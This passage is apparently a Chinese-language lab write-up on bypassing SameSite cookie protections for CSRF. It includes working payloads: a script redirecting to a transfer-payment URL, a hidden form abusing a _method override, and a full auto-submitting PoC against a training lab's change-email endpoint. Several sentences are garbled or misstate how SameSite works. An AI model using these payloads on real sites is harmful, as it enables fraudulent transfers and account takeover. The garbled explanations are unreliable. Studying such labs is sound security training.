今天講跨越 SameSite cookie。SameSite  是一種新的 Cookie 屬性,主要用於增強網站的安全性,是為了解決 CSRF 攻擊問題而設計的。
在 SameSite cookie 下,一個網站被定義為 top-level domain(TLD),通常是像 .com 或 .net 這樣的,加上域名的另一個級別。這通常被叫做 TLD+1。
即使請求是由無關的第三方網站觸發的,瀏覽器也會在向發出它們的domain 發送的每個請求中發送 cookies,減少用戶暴露於 CSRF 攻擊的風險。
cookie。GET請求。cookies,但需要使用Secure屬性,意味著只能在安全的https連接中傳送。開發者在設置 cookies 時,可以在 Set-Cookie header 加入 SameSite 屬性,例如:
Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict。

如果他們 cookies 用 Lax 限制,可能仍然可以通過從受害者的瀏覽器中引發 GET 請求來執行 CSRF 攻擊。
以下是啟動此類攻擊的最簡單方法之一:
<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
即使不允許普通的 GET 請求,某些框架提供了覆蓋請求行中指定的方法的方式。例如,Symfony 支持在表單中的 _method 參數:
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>
一樣先登入,然後進到 update email

重新設一個 email 接 request
送給 repeater 然後 PoC 複製 CSRF HTML
然後稍微將 POST 改成 GET
紮上衣格 _method
<input type="hidden" name="_method" value="POST">
完整程式碼:
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ad8000b04e03382818b610b009800b4.web-security-academy.net/my-account/change-email" method="GET">
      <input type="hidden" name="_method" value="POST">
      <input type="hidden" name="email" value="hi@dv.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

完成
如果一個 cookie 被設置為 SameSite=Strict 屬性,瀏覽器不會在任何跨站請求中包含它。但如果你可以找到一些在同一網站內導致二次請求的工具,就可以繞過這個限制。
在瀏覽器看來,這些client端重定向不是真正的重定向;由此產生的請求只被視為普通的、獨立的請求。最重要的是,這是一個SameSite請求,因此,它將包括與該網站相關的所有 cookies,無論是否有任何限制。
如果你可以操縱這個工具來引發一個惡意的二次請求,就可以繞過任何 SameSite cookie 限制。
一樣先登入,然後抓修改email的request
隨便點開一個文章留言看看